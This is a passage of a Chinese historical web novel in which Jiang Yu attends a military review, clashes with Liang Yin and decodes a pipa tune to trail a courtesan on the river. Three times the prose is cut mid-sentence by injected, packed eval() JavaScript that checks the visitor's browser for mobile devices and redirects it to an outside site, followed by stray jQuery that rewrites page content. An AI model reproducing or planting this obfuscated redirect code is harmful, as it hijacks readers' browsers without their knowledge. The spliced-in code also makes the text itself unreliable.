“我不能说。”琴心警惕地看了江瑜一眼,“如果你哥哥得知我对你讲了这些,他会杀了我的。” …… 刚走出琴心的房门,玉影过来了。她低声回禀道:“小姐,守在户部尚书府外的人回话了。说是梁行章每日按部就班地上值、进宫,没什么异常举动。就是有个借住在他家的侄儿,每日进进出出好几趟,似乎也没个正经营生。” 许多在朝中当了大官的臣子家中都免不得暂住几个来打秋风的亲戚,江瑜并不太在意,随口道:“派一个人去盯那个侄子就好,其他人还是暗中观察梁行章的一举一动。” “是。”玉影应道,“还有一事,大少爷从宫里让人传话,让小姐准备准备,明日一早陛下就要巡视三军了。京城里的高门世族都可携家眷参加。” “我知道了,你先下去吧。“ 这天晚上江涣之没有回来,估计是住在军营里了。第二日一早,江夫人收拾妥当了就来到瑜园,和江瑜一道上了马车。 到达校场,日头正好,晴空万里。江瑜挽着手和江夫人一起走进去,上方的坐席已经坐了些人,徐绫远远看见她就在招手:“江瑜,这儿!” 江夫人眉眼弯了弯,对江瑜道:“去吧。” 江瑜走到徐绫身边坐下,江夫人则和其他夫人一起坐在了另一侧。徐绫的丫鬟立在一旁摇着扇子,她递过来一个食盒,里面装满了蜜饯和糕点。 “你最近都在忙什么?”徐绫问。 江瑜笑着道:“没忙什么,就是读读书,绣绣花样子。” “你也喜欢刺绣?”徐绫闻言一喜,“那你下次来我府上,我们一起绣。” 裴家出事之前,江瑜的确常常刺绣。因此她并不抗拒,答应道:“那就说好了。” 徐绫正要再说话,忽然看见太子和三皇子来了,连忙提醒:“快起身行礼。” 江瑜与徐绫一道站起身,欠身道:“臣女见过太子殿下,见过三殿下。” “不必多礼。”太子朗声道。他今日穿着红色衮龙袍?,袍身绣有五爪龙纹,与三皇子站在一块,二人俱是气宇轩昂的派头。 太子已经带着侍从往前走了,江瑜正要坐下,忽地一抬头,发现三皇子还没走,像是有些好奇似地打量着她。江瑜连忙又是一扶,头也埋得更低了。 三皇子一走,江瑜望着那道背影,蹙起了眉。 “怎么了?”徐绫拉着她坐下,“三殿下人很好的,温良敦厚,连宫中下人都不曾罚过。他定是看你眼生,这才多看了几眼。” 江瑜回过神,心道自己真是有些惊弓之鸟了。 不一会儿,北漠使臣和璟和帝也到了。璟和帝与皇后坐在最中间的高台上,北漠使臣坐得就要稍矮一些,大概比龙椅矮一个头的样子。 江瑜远远打量起那几个使臣,心中暗暗心惊。那几人个个都生得五大三粗,身量奇高,江瑜长这么大还从没见过体型这样魁梧的人。 这样的人如果有成千上万,再组成训练有素的军队,那可真是恐怖如斯。还听闻他们骑术了得,一支铁骑能荡平几个旗的步兵。江涣之打败的居然就是这样的一支军队。 “原来这就是北漠人,长得好高大啊。”徐绫也有同样的感叹:“这还只是使臣,真正上战场打仗的兵士不知有多可怕。” 然而转念一想,这样彪悍奇伟的人还不是照样被大夏的军队打得只能俯首称臣,徐绫便生出一股自豪感。 江瑜的目光几经流转,最后落在了璟和帝身侧,最末端的一个陌生脸孔上。 她扯了扯徐绫的衣袖问:“那个人是谁,怎么上次宫宴没见过?” “那个啊,是六皇子。”徐绫极小声地道:“他的生母是一个出身卑微的宫女,陛下也只是喝醉之后无意宠幸过一回。六皇子平日很少现身,性情也有点孤僻。” 江瑜再一看,那六皇子的确有些阴郁的样子。不仅没有两个哥哥的气势,就连普通官宦子弟的气度都比不上。 吉时已到,全场皆静。起初是三军列阵,赵承昱所带领的金吾卫也鱼贯而出,形成一列站在了皇帝的高台下方。 紧接着是锣鼓鸣动,气势恢弘的战鼓被敲响,主帅江涣之骑马而来,他头戴簪缨,身着玄甲,披风被吹得高高扬起来。若不是单骑而来,恍惚间会让人觉得他身后仿佛跟着千军万马。 行至高台前,江涣之拉紧缰绳,身下马匹的一双前蹄高高扬起,发出一声嘶鸣,再稳稳当当地落下。战鼓声也在此刻倏然停止,江涣之行云流水地下马跪在璟和帝身前请旨,随着一声“阅示三军”的旨意,阅军仪式正式开始。 众人全都屏息凝神,就连北漠来的使臣也被这番景象所震撼。 江涣之又回到了马背,只不过从策马奔腾变成了按辔徐行,每行至一处,整装素容的兵将们都会齐齐变换战阵,一切都迅速、严密,整齐划一得仿佛皮影戏里那些受到操控的人偶。 数万大军在变化阵形时的场面宏大壮观,江涣之只要一声呼号,兵士便齐声回应,声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638543|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势震天。 更多的时候江涣之都不需要开口,一个眼神或一个手势,战鼓声随之一变,那么步兵和骑兵就会在转瞬间交换站位,配合无间地往前冲锋。列队拉弓的弓箭手也一样,拉弓和出箭的动作行云流水,破空声甚至能汇成一道仿若山雨欲来的呼啸。 仪式结束,校场内久久没有再发出任何声音。末了,璟和帝颤颤巍巍地站起身,神色激动难掩,不知是谁最先跪了下去,高台下众人齐齐跪地,高呼“大夏昌盛”。 江瑜已经对这一套流程十分熟练了,从善如流地跪下去,起身后还不忘拍拍裙摆上的灰尘。 “你哥哥可真威风。”徐绫感叹道。皇后让内侍送来了梅子汤,江瑜接过来喝了一口,甜滋滋的,咽下去以后一路甜到了心里。 她当然知道哥哥很威风了,不仅威风,还骁勇善战,战无不胜! 不远处的北漠使臣阿史那图尔朝璟和帝跪拜,用不太熟练的汉话说道:“大夏兵强马壮,训练有素,真是令人叹服。” 阿史那图尔是北漠可汗的舅舅,即便长着满脸的大胡子也没能掩盖住他的钦佩之色。 璟和帝笑道:“何不派出一个你的侍卫,与朕的大夏男儿比试一番?” 这样的提议自然是表演性质居多,刚刚经历了那样盛大恢弘的阅兵,璟和帝也有意想让局面变得轻松些。阿史那图尔朝身边亲卫努了努嘴,示意他出阵,又向璟和帝请道:“外臣是否可以随意挑选对手?” 璟和帝道:“自然。” 阿史那图尔放眼望去,已经有几名武将和自小习武的世家公子都出了列,跃跃欲试地等着被挑选。 阿史那图尔扫了一圈,竟抬手指向了六皇子,“外臣选这位殿下。” 若不是这一指,许多人根本没注意到还有个六皇子在场。璟和帝一向不喜这个孩子,可金口玉言不好收回,便沉着脸道:“愣着做什么,去,拿起武器迎战。” 六皇子名叫萧慎,别说是今日这样的大场合了,就是往常在宫里,他也是最不起眼的那一个。眼看文武百官,包括父皇在内的视线都落在了自己身上,萧慎硬着头皮起身,走到校场内,选了一把长剑握在手上。 萧慎幼时是练过武的,可没人操心他的课业,他练得也只是马马虎虎。比武从一开始他就落入了下风,北漠侍卫力大无穷,一把大铁锤舞得虎虎生风,萧慎被逼得连连后退。 萧慎紧张不已,越是不想出丑就越是频出昏招,呼吸和步伐全乱了,主动出击是不可能的,光是躲避对方的招式就已经急得满头大汗,形容狼狈了。 阿史那图尔本来只想找回点面子,没料到随手挑选的皇子竟会这般招架不住。他并不想将场面闹得太难看,于是紧急喊了声停,示意亲卫收手。 萧慎的招式没什么章法,早就是一通乱打了,此时对面突然收势,他反而收不住力。北漠侍卫躲闪不及只能向上跃起,不知怎地手中铁锤突然不受控制地抛了出去。 一切都发生得太快,以至于当徐绫惊叫出声时那把铁锤已经朝着她们砸下来了。江瑜抓紧徐绫的手臂,正想带着她飞身躲避,然而那把铁锤并未落下,有一个人挡在她身前,抬手将这个庞然大物牢牢握住了。 是江涣之。 除了江涣之,还有一个人也急急赶了过来。赵承昱脸色煞白,心都快跳出来了。即便目睹危机已经解除,江瑜也安然无恙,他却依然紧紧盯着江瑜,仿佛在害怕只要一错眼,那她就又会消失。 15. 第 15 章 事情发生得遽然,在死一般的寂静过后,女眷席中猛然爆发出惊慌失措的尖叫。江夫人惊惧万分,从人群里扑出来抱住了江瑜。 北漠侍卫自知犯了大错,膝盖一软跪在了璟和帝身前,一边求饶,一边以头抢地。阿史那图尔气得从武器架上抽了把剑出来,气势汹汹地走到亲卫身前,怒斥道:“不中用的东西!” 说罢,他竟一剑砍断了这人的脖子,拽住头发,提起人头向璟和帝请罪。“冲撞了贵人,此人罪该万死。可外臣绝无冒犯之意,还请陛下赎罪。” 璟和帝将一切都看在眼里,心知那的确是场意外。比起这出有惊无险的意外,六皇子的表现更是有损皇家威严,他瞥了瞥跪在下方的萧慎,一眼都不想多看。 璟和帝不耐烦地摆了摆手:“都下去吧,把尸首也拖下去。” 按照流程,阅兵和比试结束之后还有一些要上场演武的兵士。战鼓又起,几个身若游龙的壮汉上来献技,本该是震撼人心的精彩表演,可台下坐着的人都有些兴致缺缺了。 徐绫握着自家娘亲的手,还有些惊魂未定地呆愣着。本来她就差点被大铁锤砸到,刚刚死里逃生,又被迫观看了一场砍头的血腥场面,她被吓得不轻,胃里也开始翻江倒海。其他人也没好到哪里去,全都变得静若寒蝉。 江涣之来得及时,替江瑜挡下那一击之后索性也不走了,他佩剑立在一旁,时不时朝江瑜投来一个关切的目光,江瑜对他摇了摇头,示意他自己没事。 赵承昱也没走,他和江涣之一左一右地把守着,活像两尊门神。也正是因为他们二人在场,女眷们都逐渐安心了下来。 一曲毕,身形壮硕的武士们缓缓退场。阿史那图尔如坐针毡,他觑了觑璟和帝的神色,有心想活跃气氛,开口道:“方才那二位好汉可真是身手不凡,轻功了得。其中一位是大名鼎鼎的苍冥将军,另一位还不知是……” 赵承昱闻言拱了拱手,自报家门道:“在下赵承昱,金吾卫统领。” “真是一表人才,风度翩翩啊。”阿史那图尔都快把毕生所会的汉话都用光了,他赞许道:“大夏当真是人才济济,后……后会有期。” 他最后说的那个成语就有失偏颇了,加之他略显滑稽的口音,璟和帝总算神色稍缓,笑道:“使者想说的,是后起之秀吧?” “对,对,后起之秀。”阿史那图尔赔笑道:“苍冥将军为了保护自己的妹妹,出手卓绝。那这位赵统领为何也如此紧张,莫非那是你的心上人?” 赵承昱冷不丁被说中心事,心虚地看了江瑜一眼。然而还不等他开口,便听得江涣之高声道:“我大夏臣子,上则能尊君,下则能爱民。保护君臣百姓是金吾卫职责所在,赵统领所做不过是臣子的分内之事。” 他神情冷厉,显然还对方才的事感到不悦。 阿史那图尔讨好地笑了几声,讪讪道:“在下见那一对少男少女郎才女貌,很是般配,难免就多想了。苍冥将军莫怪……” 江涣之不再理会阿史那图尔,神色依旧冷峻。 时辰也差不多了,除了那一点小插曲之外阅兵仪式整体还算圆满。璟和帝在内侍的搀扶下起身道:“摆架回宫。” 宫内还设有宴席要款待使臣。徐绫刚站起来就一阵头晕目眩,她扶着江瑜道:“不行,我犯恶心。我得告病回府了。” “我这里有薄荷膏。”江夫人上前道:“你先用一些,多少能舒服点。” 徐绫一走,赵承昱频频朝她看过来,像是想与她说话似的。江瑜则是目不斜视,心里只觉烦闷不已。 除了赵承昱,举止反常的还有一个人。梁音走在两人中间,一会儿看看赵承昱,一会儿又看看江瑜,后来干脆变成了目不转睛地盯着江瑜看。 忽然,江瑜停了下来,梁音也随之停下脚步,还“咦”了一声。 宫道上只剩下了她们两个人。 江瑜直直回望过去,脸上没什么表情:“你总盯着我做什么?” 梁音还是毫不错眼地看着她,忽地恍然大悟道:“我总算想起来你像谁了,你长得像赵公子那还没过门的妻子。” 江瑜呼吸一滞,该来的还是来了,她心跳快得像擂鼓。 梁音像是以为自己勘破了某个真相,不禁洋洋洒洒道:“怪不得赵公子会对你青眼有加,原来是看见了故人的影子。可是裴家小姐相貌学识样样都出众,十岁就能熟读诗书,弹得一手好琴,更与赵公子是青梅竹马。只可惜殒命得早,不然怎么轮得上别人……” 江瑜看着梁音,“你见过那人?” “远远见过一回。她的才学声名远播,我听人提起过。” 江瑜一步步逼近梁音,“那你可知妄议罪臣之女是犯了大忌?人都已经不在了,你却还对她赞不绝口,那些话你是听谁说的?你要是再敢说我像谁,我就一并写个罪状把你们告到大理寺去。” 梁音被江瑜咄咄逼人的架势吓到了,她瑟缩道:“你突然这么凶干什么?我就是随口说几句。” “随口说几句?”江瑜猛然抓住了她的手腕,厉声道:“那你可知言语会伤人,流言更是犹如利箭。你既然看那人样样都好,那为何不去替她家翻案,你去啊!” …… 江涣之带兵先回了大营,稍作安顿便忙不迭地往宫里赶。他在大殿寻了半晌,没看见江瑜,召来言午问:“二小姐呢,随夫人一道回府了?” “没有。”言午也正想找江涣之禀报此事,他如实回道:“二小姐与梁家小姐在殿外起了争执,似是因赵统领争风吃醋。” “争风……吃醋?”江涣之极少会露出这般惊讶之色,“为了赵承昱?” 言午颔首道:“其实属下之前在府外也发现过一些蛛丝马迹,二小姐可能早就与赵统领私下会面过了。二人大抵……还有书信往来。” 这一切还都是在江涣之的眼皮子底下发生的,这让他讶然得一时说不出话来。江涣之原本以为江瑜眼里容不得沙子,二人年纪尚小,也不会有多么刻骨铭心的感情。可如今看来,难道她对赵承昱还余情未了? 江涣之眼尾一挑,语气也带着些寒意:“那你之前怎么不说?” “属下也是今日才确定那人的身份。”言午道:“之前并未瞧得太真切。” 江涣之一拂袖,头也不回地走出了宫殿。 …… 江瑜还攥着梁音的手腕,梁音挣脱不开,求饶道:“你弄疼我了,快放手……” “这就疼了?”江瑜反倒愈发用力,直到梁音彻底哭了出来。 “江瑜!”赵承昱是折返回来找她的,没想到会看见这样的一幕。他看向梁音,“怎么回事?” 梁音疼得说不出话来,就在此时,江瑜忽然松了手。梁音被那股力道拽得往前踉跄了几步。 江瑜恶狠狠道:“以后别再来招惹我!”她说完就往前走去,赵承昱也顾不上梁音在后面叫他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650227|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是追着江瑜而去。 江涣之刚走出御花园就迎面遇上一前一后的江瑜和赵承昱,他本来就对这个赵承昱没什么好感,此刻更是哪哪都看不顺眼。他大手一伸,揽住江瑜的肩膀,带着她往大殿里走。 江涣之一来,加上宫里人多眼杂,规矩也多,赵承昱不好再去找江瑜,便往太子和皇后的方向去了。 江瑜回头望了一眼,赵承昱已经没跟着她了。她又往旁边看了眼哥哥,江涣之的下颌绷得很紧,看上去像在极力压抑某种情绪,而且是很不好的情绪。 “哥哥,我没事。”江瑜故意往前跑了几步,“你看,我能跑能跳的,那个北漠人没伤着我。” 江涣之当然知道她没受伤,可开口时的语气还是不免重了些:“刚出了那么大的事,你还不好好待着,乱跑什么?看来我交待的那些话你是一句也没听进去。“ 江瑜见他那疾言厉色的样子也有些委屈,她小声嘟囔道:“谁让那个梁音主动招惹我的,我什么也没做。她还提到了……总之我就是咽不下这口气。” “行了。”走进大殿,江涣之把她放在了女眷席,“你就在这里,哪也不许去。宴席结束之后也在原地等我,我带你回去。” 江涣之一走,江瑜老老实实地坐在食案旁。她百无聊赖地朝旁边看去,正好与刚进来的梁音视线相对。梁音无端打了个冷颤,怕极了似的低下头,不敢再看江瑜。 还真是个纸糊的老虎! 对于梁音的话,除去最开始的惊惶之后,江瑜很快镇定了下来。与其说她是真的看出了二人之间的相像之处,不如说她只是在故意找事,为了气江瑜。 江瑜与赵承昱的关系处处透着不一般,那么梁音就找个已经故去的人来大做文章,真有多像倒不见得,反正年岁差不多,那就不管黑的白的胡乱说一通,要是能让江瑜心生妒意进而破坏他们的关系那就再好不过了。 江瑜想通了其中关窍,刚把这个梁音抛诸脑后,一个十来岁的小姑娘就俏生生地站在了她面前。 面对这样一个粉雕玉琢的小女孩,饶是再凶神恶煞的人也会不自觉地放软神色。江瑜低下头,柔声问:“你有什么事吗?” 对面的人郑重点头,“我有事,而且是很重要的事要找你。” 不等江瑜再开口,小姑娘像是担心再不说就会忘了一样,嘴里连珠炮一样地道:“我是赵家四小姐,兄长让我转告你——校场发生的事危急凶险,他做不到袖手旁观,那般紧张慌乱都是无意之举。若是节外生枝,让二小姐不快了,他给您赔个不是,还望您不要生他的气。” 说罢,赵四小姐竟然还端端正正地给她施了一礼,像当真在赔罪。 江瑜越过屏风看出去,赵承昱果然等在外面,状若无意地往里面一瞥,正好与她的视线相撞,一双清澈的少年人眼眸里难得有些忐忑不安。 再一瞧赵四小姐手里摆弄着的一副新镯子,明显就是赵承昱刚刚拿来“贿赂”小孩的。 赵四小姐还在等她回话,江瑜低声道:“我没有生气,但他不该一直看着我,也不该对我表现出……好像很在意的样子。我不想再与他扯上什么关系。” 赵四小姐得了回话就要走,江瑜又道:“还有,让他以后不要再让你帮忙传话。再牵扯进无关的人,我才真的会生气。” 赵四小姐一走,江瑜也不再去看赵承昱了。不管他听了这番话是黯然也好失落也罢,总归都与她无关了。 16. 第 16 章 回府以后,江涣之果然对江瑜不太放心。先是找来医女给她检查了身体,确认没事以后,他又不知从哪听来受到惊吓以后容易得癔症,竟找到一个得道方士来瑜园做法事。 江瑜看着那蹦来跳去的方士,很是惊愕地问玉影:“哥哥竟然还信这个?” 玉影也有些傻眼:“以前是不信的。” 自由出府自然也是不可能的了。除了宫中有活动,或是与别的高门小姐走动交际,其它的江涣之一概不许。不仅如此,他还派了人在瑜园的小门外把守,整个江府固若金汤。 江涣之依旧早出晚归,这天,他深夜才带着人骑马归来,忽然发现江夫人还站在门口等他。 “娘,这么晚了,您怎么还没睡?”江涣之下了马,扶着江夫人往里走。 “还能为了什么,自然是等你。”江夫人眉目清淡,话说得也不疾不徐:“你啊,之前还让我别拘着她,结果到头来,是谁在拘着她?” 江涣之也不反驳,只是道:“使臣来访,近些日子城中有些乱。各方势力也在蠢蠢欲动,我有种不好的预感,或许有大事要发生了。” 真的只是因为这些吗?江涣之自己也说不清楚为什么在听闻江瑜与赵承昱私下有往来时会那么生气,身为兄长,他有责任将这段不成熟的情愫掐断在萌芽期。这是为了江瑜好。 对上江夫人那欲言又止的目光,江涣之脸色一沉:“娘也觉得她与那赵承昱情投意合,我不该管得太严?” 江夫人摇头道:“我只是觉得这孩子身世凄苦,若她真的还对赵家公子念念不忘,那我们不该反对。退婚是赵太傅去退的,这样大的事,做儿女的难道还能越过爹娘不成?误会一旦说开了,江瑜要是也不介意,我倒是觉得以赵公子的愧疚之心日后一定会是个良婿。” 愧疚之心?早在山间别院,江瑜就怀疑他对自己好只是出于愧疚,为此好一阵都没叫过他哥哥。江瑜这样的人怎么可能指着未来夫君的愧疚之心过活?这未免太小看了她。 “其他人都可以,唯独这个赵承昱不行。”江涣之语气坚决,“我们江家人可不吃回头草。” 江夫人自知拧不过江涣之,便也不再多言,“罢了,这些日子你也多有操劳,早些睡下吧。” 第二天,像是怕江瑜无聊,江涣之找来了戏班子来瑜园唱戏。徐家递来帖子的时候江瑜正在学那些戏子掐着嗓子说话。 “徐绫的病好了,邀我过去一同绣绣花样子,再说说话。”江瑜合上帖子,对江夫人道。 江夫人看得出她想去,“那就去,你哥哥不会连这个也不允的。” 江瑜点了点头,走进房里更衣。 再出来的时候言午已经备好了马车,四周还多了几个她以前没见过的暗卫,看样子都是要跟着去护送的。 江瑜自己都已经会武了,按理说不该跟这么多人的,可她什么也没说,一言不发地坐上了马车。 到了徐府,徐绫已经等候多时,她牵着江瑜往里走,“我真是被吓坏了,这两日都吃不下饭,尤其是看见荤腥的时候。我听说砍头的时候好多侍卫都用手帕将自家小姐的眼睛盖住了,你呢,看见那一幕了吗?” 江瑜看见了,而且看得无比清晰,可她含混道:“从那个北漠使臣举起刀的时候我就闭上了眼睛,所以没怎么看清。” “那就好,否则就该跟我一样吃不了肉了。”徐绫带她来到一处幽静的小花园,她边走边道:“还有,那些议论你的话你别放在心上。赵公子的确是无数闺中女子的梦中情郎,可是这种事讲究个两厢情愿,怎么能怪你勾引?还什么秦淮狐媚子这样的话都说出来了……” 徐绫已经往前走出一段路,见江瑜没跟上,她转过身,忽然挠了挠头,“我是不是又说错话了?” 江瑜噗嗤一笑:“是,你又说错话了。” “我还以为早传进你耳朵里了呢,”徐绫悻悻地走过来挽着江瑜往前走,“呸,我这张破嘴。” 江瑜握住她的手道:“没事的,我不介意。我就是觉得那些闺中女子眼光都不怎么样,怎么全都看上那个赵承昱了?明明我哥哥更好,才识气度、样貌品性,哪一样不是冠绝京城?” 徐绫认真想了想,“你哥哥好是好,不过他身上总有种拒人于千里之外的感觉,凶巴巴的,你不觉得吗?我的两个姐姐都出嫁了,有时候她们回来,我听她们讲……” 徐绫忽然压低了声音,附在江瑜耳边道:“这种男人不太会疼女人。” 江瑜倏地瞪大了眼睛,看见徐绫脸上那狡黠的一笑,她面上一热,“你说什么呢?” “都是我姐姐说的。”徐绫吐了吐舌头,紧接着饶有兴趣地问:“怎么,你想让家里多个嫂嫂?” “我不想。”江瑜脱口而出。 不远处的言午总看着她们,江瑜被他看得有些心烦意乱,对徐绫道:“我们还是进去说吧。” 门一关上,江瑜说的还是关于江涣之:“因为家里没了爹,所以哥哥对我来说就是长兄如父,管教我也是理所应当的。更何况他是一家之主,总要拿出些威严来。” 徐绫注意到江瑜的语气有些恹恹的,她问:“是不是好不容易才把你找回来,所以格外紧张?” 江瑜摇了摇头:“他本来不怎么管我的。可是最近他觉得我总是不听他的话,再加上校场的意外,就变成这样了。” 徐绫看江瑜的目光变得有些同情,“他平日都不让你出门?” “也不是。”江瑜还是摇头,“他只让我出门逛街花钱、踏青赏花、游玩享乐。或是像现在这样,与别的小姐聚一起说话消遣也行,总之别的事就不让我做了。” 徐绫眨了眨眼:“那他有没有让你在家中侍奉长辈、学习规矩?或是逼着你嫁人?” 江瑜道:“这些都没有。” 徐绫有些搞不懂了,“那你还有什么不满足的?依我看,他并没有限制你什么啊。” 江瑜总不可能告诉她自己想去逛青楼,再顺手暗杀一两个可疑人士。她长叹道:“总之我就是觉得不自由,有很多想去的地方都不能去。” “那你想去哪?我陪你。”徐绫郑重地道,她拍了拍自己的胸脯,一脸“包在我身上”的豪迈,“我这院子里有后门,你偷偷溜出去也行,我给你打掩护!” 江瑜凝眉思索了片刻,青楼要夜里才开门,现在去不了。她对梁府倒是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662447|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些兴趣,可青天白日的也不能就这样闯进去吧? “我得想想。”江瑜道。 “那你先想着,”徐绫把一叠花样子和针线递了过来,“我们边绣边想。” 没过多久,有丫鬟进来通报,说是六皇子来了。他听闻徐绫身子好转,专程带了些礼物来赔罪。 江瑜放下手里的针线,和徐绫一道往前院走。她在路上听徐绫说,这个六皇子在宫中被罚跪了整晚,陛下对他失望至极,还罚他每日寅时就必须起床练武。 “你不是卧病在床吗,怎么消息比谁都灵通?”江瑜失笑道。 “都卧床养病了,家里人自然会来看望我,消息不就传进来了么。”两人有说有笑地走到前面,看见已经在等候的六皇子。 不过几日没见,萧慎看上去竟消瘦了不少,只不过浑身依旧透着阴鸷。江瑜和徐绫不自觉地敛目素容,走过去行了礼,齐声道:“见过六殿下。” 萧慎道:“原来江二小姐也在,那正好,一并向你赔个不是。” 江瑜连忙道:“六殿下言重了,臣女那日并未受到什么惊吓。” 萧慎本就不善言辞,因此没有再说什么,只让宫人将箱子抬进来。 萧慎虽然在宫里不受待见,但毕竟是个皇子,手里还是有一些拿得出手的宝物。比如这把琵琶就是用上好的檀木制成,曲颈形状流畅优美,江瑜一看就知道那是把好琴。 像是担心徐绫轻视了这把琴的价值,萧慎还从宫里带了一个琴师,那人手法熟稔地拨动琴弦,清脆好听的琴音流泻出来。 对于喜欢并精通音律的人来说,一把好琴若是被不善弹奏的人拿去了,那可真是暴殄天物。江瑜听着那琴音,思绪忽然飘远,她想起了另一个人——龟三儿。 龟三儿也在音律方面展现出了超乎常人的执著,他手底下的姑娘基本都善抚琴,要是弹错了还会受到他的严厉责罚。江瑜早就做出过判断,龟三儿根本不是一个对弦音乐律有所追求的文人雅士。 那他的反常行径就一定另有缘由。 江瑜一直在想,龟三儿究竟是如何在不露面的情况下利用手底下的几个姑娘神不知鬼不觉地与人串通。而此刻,真相终于呼之欲出——琴音有蹊跷。 对一个懂琴的人来说,琴声能表达的太多了。江瑜开始极力回想那天在青楼里听到的,用琵琶弹奏的曲子究竟是什么。 她退后几步,低声问玉影:“你还记不记得那天在青楼,楼下弹的是哪一段曲目?” “这……”玉影压根对这些一窍不通,她道:“属下不知。” 江瑜闭上了眼睛。第一下拨动琴弦的声音是从她下楼追逐龟三儿开始的,他们隔着些距离短暂对峙过,都想将对方置于死地,也正是在那一刻,琴声急促起来,嘈嘈切切,像是无意间在为这场无人注意的厮杀配乐助阵。 紧接着两人一前一后跃出窗柩,战场正式挪到了青楼外的暗巷。琴音也变得柔和婉转,那般悱恻缱绻,仿佛能看见一个江南女子正靠坐舟上,泛于江面,低眉信手,欲语还休。 下一刻,江瑜蓦地睁开了眼睛,嗓音低柔却无比笃定: “是《春江花月夜》。” 17. 第 17 章 京城内共有四处江河,其中最繁华的便是永定河。只要河面没有结冰,游船和画舫往来不绝,许多少爷小姐都会坐船出游,船里摆放着几张桌几茶案,或是吟诗作对,或是赏景听曲。不论是否游玩尽兴,船舫永远都在那儿,它们荡漾于江水之中,承载过数不清的幽会与密约。 江瑜依旧在回想那一天所听到的琴音,她在心中默道:“曲子一共分十段,第九段‘渔舟唱晚’末尾,女伶勾、劈、撮三音急连,本该立即连接第十段,她却迟滞了下来。这是前几段都没有发生的情形。仔细想想,停下的那刻手指应当正放在第七徽位。” 江瑜有些不太确定地喃喃道:“莫非是十月初七……” “十月初七?”一旁的玉影回道:“那就是今日了。” 江瑜抬头看了眼天色,已经快到傍晚了,她眉心微蹙,一时拿不定主意。 富商之死、梅公子、龟三儿的暴露、使臣来访、琴音,桩桩件件好似都有千丝万缕的关系,江瑜理不清,也无法确定此时的推论是否就是真相。可不管怎么样,她总要去试试。 六皇子一走,江瑜和徐绫回到房中。刚一关上门,江瑜握着徐绫的手道:“你方才说的,会替我打掩护的话还作不作数?” 徐绫愣愣点头:“我徐绫一言九鼎,自然作数!怎么,你想好要去哪里了?可这都快天黑了……” “不会有事的,我身边的丫鬟会武。”江瑜恳切道:“事不宜迟,请即刻就送我出去。” 徐绫心中思绪万千,一时想到江瑜是不是想偷偷与曾经的养父母相见,一时又想到会不会是在金陵的旧情郎来了,千头万绪最终却只化作了一句铿锵有力的:“好!只要你需要,那我就帮你。” 江瑜把翠竹留在徐府应付言午。她还是只带玉影出门,主仆二人都会武,不论赶路还是逃命都更方便些。 与徐绫作别,江瑜一路使着轻功来到永定河。快要入夜的江畔灯影绰绰,许多画舫泊在江心,透过镂空的雕花窗,能看见其间帘幕低垂,檐角四周还挂着琉璃灯,灯火在水面投下斑驳光影。 一看见火光,玉影迟疑道:“小姐……” “无事,”江瑜低声道:“四周都是水,我不怕。” 停留片刻的工夫,就有艄公撑着船过来,询问江瑜是否要登船游河。 江瑜很快选定了一艘稍小些的画舫,和玉影一道上船。艄公摇着橹,画舫缓缓驶入江心,艄婆也掀帘走进来,在桌案上放下些瓜果香茗。 “我家小姐喜静,稍后无事便不要再进来。”玉影对那艄婆道。 艄婆低头应是,掀帘退了出去。江瑜撩开另一侧的帘幕,看见不远处的花船,她隐约能听到舫内的丝竹声,缎绣帷帐也轻拂着香风。 永定河上游船的人不少,若是哪艘船上的公子忽然起了雅兴,那么就能叫艄公摇橹至花船处,要么请姑娘过来,要么上船去听曲作乐,总之别有一番况味,比寻常逛青楼时多了几分意趣。 如若江瑜对琴音所传递的消息推测准确,那么此刻采薇应该就在这座花船上。 玉影叹道:“可惜小姐今日未着男装,否则就可以光明正大地去那花船了。” 江瑜轻笑道:“本来就没法光明正大。采薇今日定然与人有约,我就是出再多的钱她也不会出来见我。” “那……我们要蹲守与她密会的人?” 江瑜垂眸半晌,摇头道:“不,那人必定有备而来,我们人太少了,不一定打得过。还是先将人掳过来再说。” 要掳的人自然就是采薇了。玉影和江瑜兵分两路,足尖掠过水面,悄无声息地潜入了花船里。原先画舫里的艄公艄婆并未察觉到人已经离开,花船里也无人发现平白多了两个人。 江瑜猫着腰,透过二层的镂空窗一间间地找过去,没过多久,玉影的方向忽然传来一声哨声,这是她们早就约定好的暗号。江瑜立即飞身过去,见玉影已经在门口端起了势,她走过去与玉影一左一右踢开门,坐在里面的采薇大惊失色,江瑜赶在她惊叫出声之前捂住了她的嘴。 江瑜低声道:“我不会伤害你,但需要你跟我走一趟。” 江瑜一心只想速战速决,架起采薇就想往外走,玉影忽地叫了一声:“小姐……” 